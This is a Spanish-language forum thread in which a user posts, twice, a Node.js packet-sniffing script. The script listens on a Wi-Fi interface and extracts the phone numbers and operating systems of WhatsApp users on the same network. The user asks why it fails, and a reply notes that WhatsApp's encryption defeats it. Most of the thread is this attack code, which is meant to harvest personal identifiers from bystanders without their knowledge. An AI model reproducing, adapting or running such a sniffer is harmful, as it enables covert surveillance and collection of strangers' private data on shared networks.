Autor Tema: ayuda con estos dos script de whatsapp  (Leído 2160 veces)

0 Usuarios y 1 Visitante están viendo este tema.

teik

  • Visitante
ayuda con estos dos script de whatsapp
« en: 26-10-2014, 02:31 (Domingo) »
Código: [Seleccionar]
//Whatsapp Discover
//Based on Whatsapp-discover.pl => https://github.com/deepakdaswani/whatsapp_discover (Created by Deepak Daswani)

//Adapted to javascript by J. M. Fernández (The X-C3LL)
//@TheXC3LL

var pcap = require('pcap');
var iface = process.argv[2];
var number_list = [];

pcap_session = pcap.createSession(iface, "(port 443 or port 3222 or port 3223)");

pcap_session.on('packet', function (raw_packet) {
var packet = raw_packet.toString('UTF-8');
var rex = new RegExp(/WA/g);
packet = packet.replace(/[^A-Za-z 0-9 \.,\?\"\"!@#\$%\^&\*\(\)-_=\+;:<>\/\\\|\}\{\[\]`~]*/g, "");
        var found = packet.match(rex);
if (found) {
var aguja = packet.indexOf("privacy");
var start = packet.indexOf("WA");
if (aguja != -1) {
var os = packet.substring(start + 2, aguja);
aguja = packet.indexOf("346");
var number = packet.substring(aguja, aguja + 11);
if (number_list.indexOf(number) === -1){
number_list.push(number);
console.log("O.S.: " + os + " Number: +" + number);
}
}
}
});
Código: [Seleccionar]
[quote]//Whatsapp Discover
//Based on Whatsapp-discover.pl => https://github.com/deepakdaswani/whatsapp_discover (Created by Deepak Daswani)

//Adapted to javascript by J. M. Fernández (The X-C3LL)
//@TheXC3LL

var pcap = require('pcap');
var iface = process.argv[2];
var number_list = [];

pcap_session = pcap.createSession(iface, "(port 443 or port 3222 or port 3223)");

pcap_session.on('packet', function (raw_packet) {
var packet = raw_packet.toString('UTF-8');
var rex = new RegExp(/WA/g);
packet = packet.replace(/[^A-Za-z 0-9 \.,\?\"\"!@#\$%\^&\*\(\)-_=\+;:<>\/\\\|\}\{\[\]`~]*/g, "");
        var found = packet.match(rex);
if (found) {
var aguja = packet.indexOf("privacy");
var start = packet.indexOf("WA");
if (aguja != -1) {
var os = packet.substring(start + 2, aguja);
aguja = packet.indexOf("346");
var number = packet.substring(aguja, aguja + 11);
if (number_list.indexOf(number) === -1){
number_list.push(number);
console.log("O.S.: " + os + " Number: +" + number);
}
}
}
});
no consigo hacer funcionar ninguno de los dos, ambos me dan error lo que hacen es sacar todos los numneros de wasap de aquellos que esten conectados a la red wifi por captura


« Última modificación: 26-10-2014, 02:34 (Domingo) por teik »

vk496

  • Visitante
Re: Re: ayuda con estos dos script de whatsapp
« Respuesta #1 en: 26-10-2014, 03:38 (Domingo) »
Whatsapp desde hace tiempo utiliza SSL... Normal que no te funcione

Salu2